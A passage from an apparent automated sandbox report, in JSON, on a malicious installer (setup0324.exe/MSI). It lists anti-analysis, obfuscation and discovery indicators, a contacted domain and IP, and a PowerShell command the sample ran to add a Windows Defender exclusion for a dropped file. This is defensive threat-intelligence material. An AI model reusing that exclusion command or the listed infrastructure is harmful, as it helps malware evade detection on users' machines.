\"00000000-00004680.00000002.215565.02EC0000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00004680.00000002.215565.05760000.00000004.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Loads the debugger/analysis tool module","description":"\"EXPAND.EXE\" loaded module \"%WINDIR%\\SysWOW64\\dbghelp.dll\" at 727E0000","origin":"Loaded Module","mitre_attack_id":"T1518.001","relevance":3,"id":"module-16","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"IsDebuggerPresent\" (Indicator: \"IsDebuggerPresent\"; File: \"setup0324_or_1.msi\")\n Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"setup0324_or_1.msi\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"setup0324_or_1.msi\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains XOR operation loops [Stream disassembly]","description":"$29","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.005","id":"stream-139","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform AES/RC4 encryption (API string)","description":"Found reference to API \"CryptDestroyHash\" (Indicator: \"CryptDestroyHash\"; File: \"setup0324_or_1.msi\")\n Found reference to API \"CryptReleaseContext\" (Indicator: \"CryptReleaseContext\"; File: \"setup0324_or_1.msi\")\n Found reference to API \"CryptAcquireContextW\" (Indicator: \"CryptAcquireContext\"; File: \"setup0324_or_1.msi\")\n Found reference to API \"CryptCreateHash\" (Indicator: \"CryptCreateHash\"; File: \"setup0324_or_1.msi\")\n Found reference to API \"CryptHashData\" (Indicator: \"CryptHashData\"; File: \"setup0324_or_1.msi\")\n Found reference to API \"CryptGetHashParam\" (Indicator: \"CryptGetHashParam\"; File: \"setup0324_or_1.msi\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-438","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"Found reference to API \"CryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00004680.00000000.211724.02EC0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-212","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$2a","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Cryptographic Related","name":"Sample file has high entropy (likely encrypted/compressed content)","description":"Sample file \"sample.bin\" has high entropy 7.137125916568125","origin":"Binary File","mitre_attack_id":"T1027","relevance":1,"id":"binary-71","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: Contains XOR operation loops [Stream disassembly]","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains ability to perform AES/RC4 encryption (API string)\n Matched sigs: Contains key cryptographic functions (API string)\n Matched sigs: Contains CRYPTO related strings\n Matched sigs: Contains ability to use Microsoft's Enhanced Cryptographic Provider\n Matched sigs: Detected Suricata Alert - Base64\n Matched sigs: Contains ability to perform decryption (API string)\n Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: Sample file has high entropy (likely encrypted/compressed content)\n Matched sigs: Contains XOR operation loops [Stream disassembly]","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: Found potential URL in binary/memory\n Matched sigs: Found potential IP address in binary/memory\n Matched sigs: Found potential URLs in memory dumps\n Matched sigs: Contacts server\n Matched sigs: Contacts domains\n Matched sigs: Contains ability to communicate with network (API string)\n Matched sigs: Spawned process connects to a network","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"setup0324_or_1.msi\")\n Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00004680-00000C2A-2385844335\")\n Found string \"GetCursorPos\" (Indicator: \"GetCursorPos\"; Source: \"00000000-00004680-00000C2A-2385931229\")\n Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp\")\n Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment using user register activity","description":"Found string \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\\" (Indicator: \"software\\microsoft\\windows\\currentversion\\uninstall\"; File: \"setup0324_or_1.msi\")\n Found string \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" (Indicator: \"software\\microsoft\\windows\\currentversion\\uninstall\"; File: \"setup0324_or_1.msi\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-663","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"Found reference to API \"SendMessageA\" (Indicator: \"sendmessage\"; Source: \"00000000-00004680-00000C2A-2385931471\")\n Found reference to API \"SendMessageW\" (Indicator: \"sendmessage\"; Source: \"00000000-00004680-00000C2A-2385931634\")\n Found reference to API \"PostMessageW\" (Indicator: \"postmessage\"; Source: \"00000000-00004680-00000C2A-2385931669\")\n Found reference to API \"FindWindowW\" (Indicator: \"findwindow\"; Source: \"00000000-00004680-00000C2A-2385932416\")\n Found reference to API \"\" (Indicator: \"enumchildwindows\"; Source: \"00000000-00004680.00000000.211724.02EC0000.00000004.mdmp, 00000000-00004680.00000001.213645.02EC0000.00000004.mdmp, 00000000-00004680.00000002.215565.02EC0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"powershell.exe\" called \"IsWow64Process\" with parameter \"6420\" - (UID: 00000000-00006420)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"setup0324.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00004680)\n \"powershell.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00006420)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$2b","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"\"powershell.exe\" called \"GetVersionExA\" with parameter 940000000a00000000000000ab3f00000200000000006f006e0000005c006d006900630072006f0073006f00660074002e006e00650074005c006600720061006d00650077006f0072006b005c00760034002e0030002e00330030003300310039005c0063006f006e006600690067001400001470ca0000a8ea9700284796006900640065007200730000007500700000000010 (UID: 00000000-00006420)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00006420.00000000.216677.00DC1000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-450","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"setup0324_or_1.msi\")\n Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00006420.00000000.216677.00DC1000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00007480.00000000.216734.00232000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query system locale (API string)","description":"$2c","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"setup0324.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"setup0324.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"systeminfo.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; File: \"setup0324_or_1.msi\")\n Found reference to API \"FileTimeToSystemTime\" (Indicator: \"FileTimeToSystemTime\"; File: \"00000000-00007480.00000000.216734.00232000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00006420.00000000.216677.00DC1000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00007480.00000000.216734.00232000.00000002.mdmp\")\n Found reference to API \"FileTimeToSystemTime\" (Indicator: \"FileTimeToSystemTime\"; Source: \"00000000-00007480.00000000.216734.00232000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system (API string)","description":"Found reference to API \"GetUserObjectInformationA\" (Indicator: \"GetUserObjectInformation\"; File: \"setup0324_or_1.msi\")\n Found reference to API \"GetNativeSystemInfo\" (Indicator: \"GetNativeSystemInfo\"; Source: \"00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp\")\n Found reference to API \"ExpandEnvironmentStringsW\" (Indicator: \"ExpandEnvironmentStrings\"; Source: \"00000000-00006420.00000000.216677.00DC1000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"setup0324_or_1.msi\")\n Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00006420.00000000.216677.00DC1000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00007480.00000000.216734.00232000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine timezone (API string)","description":"Found reference to API \"Win32API|Time Functions|GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; Source: \"00000000-00007480.00000000.216734.02710000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-248","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"Found reference to API \"GetActiveWindow\" (Indicator: \"GetActiveWindow\"; File: \"setup0324_or_1.msi\")\n Found reference to API \"GetForegroundWindow\" (Indicator: \"GetForegroundWindow\"; File: \"setup0324_or_1.msi\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system configuration","description":"Found string \"systeminfo\" (Indicator: \"systeminfo\"; Source: \"00000000-00004680-00000C45-187308647108\")\n Found string \"systeminfo\" (Indicator: \"systeminfo\"; Source: \"00000000-00007480.00000000.216734.003C0000.00000004.mdmp, 00000000-00007480.00000000.216734.02710000.00000004.mdmp\")\n Found string \"ype \"SYSTEMINFO /?\" for usage.\" (Indicator: \"\"systeminfo\"; Source: \"00000000-00007480.00000000.216734.02710000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-359","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system language (API string)","description":"Found reference to API \"GetSystemDefaultUILanguage\" (Indicator: \"GetSystemDefaultUILanguage\"; Source: \"00000000-00006420.00000000.216677.00DC1000.00000002.mdmp\")\n Found reference to API \"GetUserDefaultUILanguage\" (Indicator: \"GetUserDefaultUILanguage\"; Source: \"00000000-00006420.00000000.216677.00DC1000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"$2d","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"Found reference to API \"GetStartupInfoA\" (Indicator: \"GetStartupInfo\"; File: \"setup0324_or_1.msi\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to verify if file exist on disk (API string)","description":"Found reference to API \"PathFileExistsW\" (Indicator: \"PathFileExist\"; File: \"setup0324_or_1.msi\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-140","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"setup0324.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"SURICATA IPv4 invalid checksum\" (SID: 2200073, Rev: 2, Severity: 3) categorized as \"Generic Protocol Command Decode\"\n Detected alert \"SURICATA TCPv4 invalid checksum\" (SID: 2200074, Rev: 2, Severity: 3) categorized as \"Generic Protocol Command Decode\"\n Detected alert \"ET HUNTING EXE Base64 Encoded potential malware\" (SID: 2029538, Rev: 3, Severity: 3) categorized as \"Misc activity\"\n Detected alert \"SURICATA STREAM excessive retransmissions\" (SID: 2210054, Rev: 1, Severity: 3) categorized as \"Generic Protocol Command Decode\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert - Base64","description":"Detected alert \"ET HUNTING EXE Base64 Encoded potential malware\" (SID: 2029538, Rev: 3, Severity: 3) categorized as \"Misc activity\"","origin":"Suricata Alerts","mitre_attack_id":"T1132","relevance":3,"id":"suricata-3","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"\"setup0324.exe\" called \"CreateProcessW\" with parameter \"powershell Add-MpPreference -ExclusionPath \"%LOCALAPPDATA%\\Microsoft\\Windows\\hyper-v.exe\"\" - (UID: 00000000-00004680)\n \"setup0324.exe\" called \"CreateProcessW\" with parameter \"systeminfo\" - (UID: 00000000-00004680)","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"setup0324.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\" - (UID: 00000000-00004680)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$2e","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$2f","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"sysoieaosgwoeesa.xyz:443\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"92.118.112.155:443\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"C:\\ss2\\Projects\\MsiWrapper\\MsiCustomActions\\Release\\MsiCustomActions.pdb\"\n \"powershell.pdb\"\n \"sysinfo.pdb\"","origin":"File/Memory","relevance":1,"id":"string-7","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"General","name":"Contains SQL queries","description":"\"SELECT `Data` FROM `Binary` WHERE `Name` = '%s'\" (Source: setup0324_or_1.msi, Indicator: \"select `data` from `binary` where `name` = '%s'\")","origin":"File/Memory","mitre_attack_id":"T1213","relevance":2,"id":"string-16","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; File: \"setup0324_or_1.msi\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; File: \"setup0324_or_1.msi\")","origin":"File/Memory","mitre_attack_id":"T1074.001","relevance":1,"id":"string-423","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"General","name":"Contains ability to create/load registry keys (API string)","description":"Found reference to API \"RegConnectRegistryW\" (Indicator: \"RegConnectRegistry\"; File: \"00000000-00007480.00000000.216734.00232000.00000002.mdmp\")\n Found reference to API \"RegConnectRegistryW\" (Indicator: \"RegConnectRegistry\"; Source: \"00000000-00007480.00000000.216734.00232000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; File: \"setup0324_or_1.msi\")\n Found reference to API \"CreateFileA\" (Indicator: \"CreateFile\"; File: \"setup0324_or_1.msi\")\n Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp\")\n Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00006420.00000000.216677.00DC1000.00000002.mdmp\")\n Found reference to API \"CreateFileMappingW\" (Indicator: \"CreateFile\"; Source: \"00000000-00006420.00000000.216677.00DC1000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; File: \"setup0324_or_1.msi\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00006420.00000000.216677.00DC1000.00000002.mdmp\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00007480.00000000.216734.00232000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$30","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"Found reference to API \"ShellExecuteExW\" (Indicator: \"ShellExecute\"; File: \"setup0324_or_1.msi\")\n Found reference to API \"ShellExecuteEx failed (%d).\" (Indicator: \"ShellExecute\"; File: \"setup0324_or_1.msi\")\n Found reference to API \"ShellExecuteA\" (Indicator: \"ShellExecute\"; Source: \"00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-240","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"Found reference to API \"LoadResource\" (Indicator: \"LoadResource\"; File: \"setup0324_or_1.msi\")\n Found reference to API \"LockResource\" (Indicator: \"LockResource\"; File: \"setup0324_or_1.msi\")\n Found reference to API \"SizeofResource\" (Indicator: \"SizeofResource\"; File: \"setup0324_or_1.msi\")\n Found reference to API \"FindResourceW\" (Indicator: \"FindResource\"; File: \"setup0324_or_1.msi\")\n Found reference to API \"FindResourceExW\" (Indicator: \"FindResource\"; File: \"setup0324_or_1.msi\")\n Found reference to API \"FindResourceExW\" (Indicator: \"FindResource\"; Source: \"00000000-00006420.00000000.216677.00DC1000.00000002.mdmp\")\n Found reference to API \"LoadResource\" (Indicator: \"LoadResource\"; Source: \"00000000-00006420.00000000.216677.00DC1000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"General","name":"Contains ability to impersonate another user on the local machine (API string)","description":"file/memory contains long string with (Indicator: \"LogonUser\"; File: \"setup0324_or_1.msi\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-225","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"setup0324_or_1.msi\")\n Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp\")\n Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/open a process (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcess\"; File: \"setup0324_or_1.msi\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; File: \"setup0324_or_1.msi\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00007480.00000000.216734.00232000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"$31","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API 